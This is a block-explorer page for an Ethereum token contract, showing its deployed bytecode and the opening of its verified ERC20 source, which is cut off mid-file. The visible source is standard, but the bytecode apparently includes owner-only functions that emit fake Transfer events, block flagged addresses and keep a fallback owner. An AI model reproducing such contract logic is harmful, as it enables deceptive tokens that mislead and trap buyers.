Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x52bb5C2950D235A792c43c5fDAeA3F6578F72C5F
Balance 0 ETH
Nonce 1
Code Size 14152 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

14152 bytes
0x608060405260043610610254575f3560e01c806371f5f01a11610138578063a9059cbb116100b5578063cf9cd8f811610079578063cf9cd8f814610863578063dd62ed3e1461089f578063e2f45605146108db578063f2fde38b14610905578063f8b45b051461092d578063ffb54a99146109575761025b565b8063a9059cbb14610795578063c0246668146107d1578063c876d0b9146107f9578063c8c8ebe414610823578063c9567bf91461084d5761025b565b80638da5cb5b116100fc5780638da5cb5b146106c757806395d89b41146106f15780639a7a23d61461071b578063a0ef91df14610743578063a457c2d7146107595761025b565b806371f5f01a1461060f57806373fa7ddb14610637578063751039fc1461065f5780637571336a146106755780637d1db4a51461069d5761025b565b806339509351116101d15780634fbee193116101955780634fbee193146104f3578063500116be1461052f5780636ddd1713146105575780636ebcf6071461058157806370a08231146105bd578063715018a6146105f95761025b565b806339509351146104135780633a61363a1461044f5780634141d1bb14610477578063470624021461049f57806349bd5a5e146104c95761025b565b806323b872dd1161021857806323b872dd146103435780632b14ca561461037f5780632cb743f7146103a9578063311028af146103bf578063313ce567146103e95761025b565b806306fdde031461025f578063095ea7b3146102895780630faee56f146102c55780631694505e146102ef57806318160ddd146103195761025b565b3661025b57005b5f5ffd5b34801561026a575f5ffd5b50610273610981565b6040516102809190612558565b60405180910390f35b348015610294575f5ffd5b506102af60048036038101906102aa919061260d565b610a11565b6040516102bc9190612665565b60405180910390f35b3480156102d0575f5ffd5b506102d9610a33565b6040516102e6919061268d565b60405180910390f35b3480156102fa575f5ffd5b50610303610a39565b6040516103109190612701565b60405180910390f35b348015610324575f5ffd5b5061032d610a5d565b60405161033a919061268d565b60405180910390f35b34801561034e575f5ffd5b506103696004803603810190610364919061271a565b610a66565b6040516103769190612665565b60405180910390f35b34801561038a575f5ffd5b50610393610a94565b6040516103a0919061268d565b60405180910390f35b3480156103b4575f5ffd5b506103bd610a9a565b005b3480156103ca575f5ffd5b506103d3610b34565b6040516103e0919061268d565b60405180910390f35b3480156103f4575f5ffd5b506103fd610b3a565b60405161040a9190612785565b60405180910390f35b34801561041e575f5ffd5b506104396004803603810190610434919061260d565b610b42565b6040516104469190612665565b60405180910390f35b34801561045a575f5ffd5b50610475600480360381019061047091906127ff565b610b78565b005b348015610482575f5ffd5b5061049d60048036038101906104989190612870565b610c30565b005b3480156104aa575f5ffd5b506104b3610c4a565b6040516104c0919061268d565b60405180910390f35b3480156104d4575f5ffd5b506104dd610c50565b6040516104ea91906128bd565b60405180910390f35b3480156104fe575f5ffd5b50610519600480360381019061051491906128d6565b610c75565b6040516105269190612665565b60405180910390f35b34801561053a575f5ffd5b5061055560048036038101906105509190612901565b610cc7565b005b348015610562575f5ffd5b5061056b610cf1565b6040516105789190612665565b60405180910390f35b34801561058c575f5ffd5b506105a760048036038101906105a291906128d6565b610d04565b6040516105b4919061268d565b60405180910390f35b3480156105c8575f5ffd5b506105e360048036038101906105de91906128d6565b610d18565b6040516105f0919061268d565b60405180910390f35b348015610604575f5ffd5b5061060d610d5d565b005b34801561061a575f5ffd5b5061063560048036038101906106309190612901565b610d70565b005b348015610642575f5ffd5b5061065d60048036038101906106589190612956565b610e04565b005b34801561066a575f5ffd5b50610673610eaa565b005b348015610680575f5ffd5b5061069b600480360381019061069691906129b3565b610edf565b005b3480156106a8575f5ffd5b506106b1610f3f565b6040516106be919061268d565b60405180910390f35b3480156106d2575f5ffd5b506106db610f45565b6040516106e891906128bd565b60405180910390f35b3480156106fc575f5ffd5b50610705610f6d565b6040516107129190612558565b60405180910390f35b348015610726575f5ffd5b50610741600480360381019061073c91906129b3565b610ffd565b005b34801561074e575f5ffd5b506107576110a2565b005b348015610764575f5ffd5b5061077f600480360381019061077a919061260d565b611189565b60405161078c9190612665565b60405180910390f35b3480156107a0575f5ffd5b506107bb60048036038101906107b6919061260d565b6111fe565b6040516107c89190612665565b60405180910390f35b3480156107dc575f5ffd5b506107f760048036038101906107f291906129b3565b611220565b005b348015610804575f5ffd5b5061080d6112ce565b60405161081a9190612665565b60405180910390f35b34801561082e575f5ffd5b506108376112e0565b604051610844919061268d565b60405180910390f35b348015610858575f5ffd5b506108616112e6565b005b34801561086e575f5ffd5b50610889600480360381019061088491906128d6565b611325565b6040516108969190612665565b60405180910390f35b3480156108aa575f5ffd5b506108c560048036038101906108c091906129f1565b611377565b6040516108d2919061268d565b60405180910390f35b3480156108e6575f5ffd5b506108ef6113f9565b6040516108fc919061268d565b60405180910390f35b348015610910575f5ffd5b5061092b600480360381019061092691906128d6565b6113ff565b005b348015610938575f5ffd5b50610941611481565b60405161094e919061268d565b60405180910390f35b348015610962575f5ffd5b5061096b611487565b6040516109789190612665565b60405180910390f35b60606003805461099090612a5c565b80601f01602080910402602001604051908101604052809291908181526020018280546109bc90612a5c565b8015610a075780601f106109de57610100808354040283529160200191610a07565b820191905f5260205f20905b8154815290600101906020018083116109ea57829003601f168201915b5050505050905090565b5f5f610a1b611499565b9050610a288185856114a0565b600191505092915050565b600d5481565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600254905090565b5f5f610a70611499565b9050610a7d858285611663565b610a888585856116ee565b60019150509392505050565b60125481565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ada611499565b73ffffffffffffffffffffffffffffffffffffffff1614610af9575f5ffd5b5f610b0330610d18565b9050610b313060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836116ee565b50565b600a5481565b5f6009905090565b5f5f610b4c611499565b9050610b6d818585610b5e8589611377565b610b689190612ab9565b6114a0565b600191505092915050565b610b80611e8b565b5f5f90505b84849050811015610c2957848482818110610ba357610ba2612aec565b5b9050602002016020810190610bb891906128d6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c14919061268d565b60405180910390a38080600101915050610b85565b5050505050565b610c38611e8b565b80601281905550816011819055505050565b60115481565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610ccf611e8b565b6009600a610cdd9190612c48565b81610ce89190612c92565b60198190555050565b601a60019054906101000a900460ff1681565b5f602052805f5260405f205f915090505481565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d65611e8b565b610d6e5f611f09565b565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610db0611499565b73ffffffffffffffffffffffffffffffffffffffff1614610dcf575f5ffd5b5f610dd930610d18565b90505f60648383610dea9190612c92565b610df49190612d00565b9050610dff81611fcc565b505050565b610e0c611e8b565b5f5f90505b83839050811015610ea45781601e5f868685818110610e3357610e32612aec565b5b9050602002016020810190610e4891906128d6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610e11565b50505050565b610eb2611e8b565b600a54600e81905550600a54600c819055505f60175f6101000a81548160ff021916908315150217905550565b610ee7611e8b565b80601c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600b5481565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f7c90612a5c565b80601f0160208091040260200160405190810160405280929190818152602001828054610fa890612a5c565b8015610ff35780601f10610fca57610100808354040283529160200191610ff3565b820191905f5260205f20905b815481529060010190602001808311610fd657829003601f168201915b5050505050905090565b611005611e8b565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108b90612da0565b60405180910390fd5b61109e8282612220565b5050565b5f47116110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db90612e08565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611124611499565b73ffffffffffffffffffffffffffffffffffffffff1614611143575f5ffd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611186573d5f5f3e3d5ffd5b50565b5f5f611193611499565b90505f6111a08286611377565b9050838110156111e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dc90612e96565b60405180910390fd5b6111f282868684036114a0565b60019250505092915050565b5f5f611208611499565b90506112158185856116ee565b600191505092915050565b611228611e8b565b80601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516112c29190612665565b60405180910390a25050565b60175f9054906101000a900460ff1681565b600e5481565b6112ee611e8b565b6001601a60016101000a81548160ff0219169083151502179055506001601a5f6101000a81548160ff021916908315150217905550565b5f601e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60195481565b611407611e8b565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c90612f24565b60405180910390fd5b61147e81611f09565b50565b600c5481565b601a5f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361150e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150590612fb2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390613040565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611656919061268d565b60405180910390a3505050565b5f61166e8484611377565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146116e857818110156116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d1906130ce565b60405180910390fd5b6116e784848484036114a0565b5b50505050565b5f8111611730576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117279061315c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361179e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611795906131ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361180c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180390613278565b60405180910390fd5b5f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205481111561188b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188290613306565b60405180910390fd5b5f60185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403611912574360185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b61191a610f45565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119885750611958610f45565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cf75760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a3557507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a885750601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b4257600b54811115611ad2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac99061336e565b60405180910390fd5b600c5481611adf84610d18565b611ae99190612ab9565b1115611b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b21906133d6565b60405180910390fd5b60165f815480929190611b3c906133f4565b91905055505b5f611b4c30610d18565b9050600f5f9054906101000a900460ff16158015611bb6575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611bce5750601a60019054906101000a900460ff165b8015611bdb575060195481115b8015611bea5750601354601654115b15611cf557601054431115611c01575f6014819055505b600560145410611c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3d90613485565b60405180910390fd5b611c63611c5e83611c5984600d546122be565b6122be565b611fcc565b5f4790505f811115611cd55760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8490811502906040515f60405180830381858888f19350505050158015611cd3573d5f5f3e3d5ffd5b505b60145f815480929190611ce7906133f4565b919050555043601081905550505b505b611d0181846122d6565b9050611d52815f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123ee90919063ffffffff16565b5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611de1815f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461240390919063ffffffff16565b5f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e7e919061268d565b60405180910390a3505050565b611e93611499565b73ffffffffffffffffffffffffffffffffffffffff16611eb1612418565b73ffffffffffffffffffffffffffffffffffffffff1614611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe906134ed565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600267ffffffffffffffff811115611fe857611fe761350b565b5b6040519080825280602002602001820160405280156120165781602001602082028036833780820191505090505b50905030815f8151811061202d5761202c612aec565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120d0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120f4919061354c565b8160018151811061210857612107612aec565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846114a0565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016121ef959493929190613687565b5f604051808303815f87803b158015612206575f5ffd5b505af1158015612218573d5f5f3e3d5ffd5b505050505050565b80601d5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f8183116122cc57826122ce565b815b905092915050565b5f5f60185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20544361232191906136df565b90505f603290505f81836123359190612c92565b90505f606482116123525781606461234d91906136df565b612354565b5f5b90505f606482896123659190612c92565b61236f9190612d00565b9050601e5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156123df576123d35f8261242b90919063ffffffff16565b955050505050506123e8565b87955050505050505b92915050565b5f81836123fb91906136df565b905092915050565b5f81836124109190612ab9565b905092915050565b5f5f612422612444565b90508091505090565b5f8183101561243a578161243c565b825b905092915050565b5f5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124c05760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166124e3565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61252a826124e8565b61253481856124f2565b9350612544818560208601612502565b61254d81612510565b840191505092915050565b5f6020820190508181035f8301526125708184612520565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125a982612580565b9050919050565b6125b98161259f565b81146125c3575f5ffd5b50565b5f813590506125d4816125b0565b92915050565b5f819050919050565b6125ec816125da565b81146125f6575f5ffd5b50565b5f81359050612607816125e3565b92915050565b5f5f6040838503121561262357612622612578565b5b5f612630858286016125c6565b9250506020612641858286016125f9565b9150509250929050565b5f8115159050919050565b61265f8161264b565b82525050565b5f6020820190506126785f830184612656565b92915050565b612687816125da565b82525050565b5f6020820190506126a05f83018461267e565b92915050565b5f819050919050565b5f6126c96126c46126bf84612580565b6126a6565b612580565b9050919050565b5f6126da826126af565b9050919050565b5f6126eb826126d0565b9050919050565b6126fb816126e1565b82525050565b5f6020820190506127145f8301846126f2565b92915050565b5f5f5f6060848603121561273157612730612578565b5b5f61273e868287016125c6565b935050602061274f868287016125c6565b9250506040612760868287016125f9565b9150509250925092565b5f60ff82169050919050565b61277f8161276a565b82525050565b5f6020820190506127985f830184612776565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f8401126127bf576127be61279e565b5b8235905067ffffffffffffffff8111156127dc576127db6127a2565b5b6020830191508360208202830111156127f8576127f76127a6565b5b9250929050565b5f5f5f5f6060858703121561281757612816612578565b5b5f85013567ffffffffffffffff8111156128345761283361257c565b5b612840878288016127aa565b94509450506020612853878288016125c6565b9250506040612864878288016125f9565b91505092959194509250565b5f5f6040838503121561288657612885612578565b5b5f612893858286016125f9565b92505060206128a4858286016125f9565b9150509250929050565b6128b78161259f565b82525050565b5f6020820190506128d05f8301846128ae565b92915050565b5f602082840312156128eb576128ea612578565b5b5f6128f8848285016125c6565b91505092915050565b5f6020828403121561291657612915612578565b5b5f612923848285016125f9565b91505092915050565b6129358161264b565b811461293f575f5ffd5b50565b5f813590506129508161292c565b92915050565b5f5f5f6040848603121561296d5761296c612578565b5b5f84013567ffffffffffffffff81111561298a5761298961257c565b5b612996868287016127aa565b935093505060206129a986828701612942565b9150509250925092565b5f5f604083850312156129c9576129c8612578565b5b5f6129d6858286016125c6565b92505060206129e785828601612942565b9150509250929050565b5f5f60408385031215612a0757612a06612578565b5b5f612a14858286016125c6565b9250506020612a25858286016125c6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612a7357607f821691505b602082108103612a8657612a85612a2f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612ac3826125da565b9150612ace836125da565b9250828201905080821115612ae657612ae5612a8c565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115612b6e57808604811115612b4a57612b49612a8c565b5b6001851615612b595780820291505b8081029050612b6785612b19565b9450612b2e565b94509492505050565b5f82612b865760019050612c41565b81612b93575f9050612c41565b8160018114612ba95760028114612bb357612be2565b6001915050612c41565b60ff841115612bc557612bc4612a8c565b5b8360020a915084821115612bdc57612bdb612a8c565b5b50612c41565b5060208310610133831016604e8410600b8410161715612c175782820a905083811115612c1257612c11612a8c565b5b612c41565b612c248484846001612b25565b92509050818404811115612c3b57612c3a612a8c565b5b81810290505b9392505050565b5f612c52826125da565b9150612c5d8361276a565b9250612c8a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b77565b905092915050565b5f612c9c826125da565b9150612ca7836125da565b9250828202612cb5816125da565b91508282048414831517612ccc57612ccb612a8c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612d0a826125da565b9150612d15836125da565b925082612d2557612d24612cd3565b5b828204905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f612d8a6039836124f2565b9150612d9582612d30565b604082019050919050565b5f6020820190508181035f830152612db781612d7e565b9050919050565b7f4e6f2045544820696e2074686520636f6e7472616374000000000000000000005f82015250565b5f612df26016836124f2565b9150612dfd82612dbe565b602082019050919050565b5f6020820190508181035f830152612e1f81612de6565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612e806025836124f2565b9150612e8b82612e26565b604082019050919050565b5f6020820190508181035f830152612ead81612e74565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612f0e6026836124f2565b9150612f1982612eb4565b604082019050919050565b5f6020820190508181035f830152612f3b81612f02565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612f9c6024836124f2565b9150612fa782612f42565b604082019050919050565b5f6020820190508181035f830152612fc981612f90565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61302a6022836124f2565b915061303582612fd0565b604082019050919050565b5f6020820190508181035f8301526130578161301e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6130b86028836124f2565b91506130c38261305e565b604082019050919050565b5f6020820190508181035f8301526130e5816130ac565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6131466029836124f2565b9150613151826130ec565b604082019050919050565b5f6020820190508181035f8301526131738161313a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6131d46025836124f2565b91506131df8261317a565b604082019050919050565b5f6020820190508181035f830152613201816131c8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6132626023836124f2565b915061326d82613208565b604082019050919050565b5f6020820190508181035f83015261328f81613256565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6132f06026836124f2565b91506132fb82613296565b604082019050919050565b5f6020820190508181035f83015261331d816132e4565b9050919050565b7f45786365656473206d617820747820616d6f756e742e000000000000000000005f82015250565b5f6133586016836124f2565b915061336382613324565b602082019050919050565b5f6020820190508181035f8301526133858161334c565b9050919050565b7f45786365656473206d61782077616c6c65742073697a652e00000000000000005f82015250565b5f6133c06018836124f2565b91506133cb8261338c565b602082019050919050565b5f6020820190508181035f8301526133ed816133b4565b9050919050565b5f6133fe826125da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134305761342f612a8c565b5b600182019050919050565b7f4f6e6c7920352073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61346f6017836124f2565b915061347a8261343b565b602082019050919050565b5f6020820190508181035f83015261349c81613463565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6134d76020836124f2565b91506134e2826134a3565b602082019050919050565b5f6020820190508181035f830152613504816134cb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050613546816125b0565b92915050565b5f6020828403121561356157613560612578565b5b5f61356e84828501613538565b91505092915050565b5f819050919050565b5f61359a61359561359084613577565b6126a6565b6125da565b9050919050565b6135aa81613580565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6135e28161259f565b82525050565b5f6135f383836135d9565b60208301905092915050565b5f602082019050919050565b5f613615826135b0565b61361f81856135ba565b935061362a836135ca565b805f5b8381101561365a57815161364188826135e8565b975061364c836135ff565b92505060018101905061362d565b5085935050505092915050565b5f613671826126d0565b9050919050565b61368181613667565b82525050565b5f60a08201905061369a5f83018861267e565b6136a760208301876135a1565b81810360408301526136b9818661360b565b90506136c86060830185613678565b6136d5608083018461267e565b9695505050505050565b5f6136e9826125da565b91506136f4836125da565b925082820390508181111561370c5761370b612a8c565b5b9291505056fea2646970667358221220e830e5751b3df897e7e34e4bbcc7921e29bb24db748601e8dd682aa3d4c47f0964736f6c634300081b0033

Verified Source Code Full Match

Compiler: v0.8.27+commit.40a35a09 EVM: cancun Optimization: No
ERC20.sol 135 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

import {Context} from "./Ownable.sol";
import "./IERC20.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

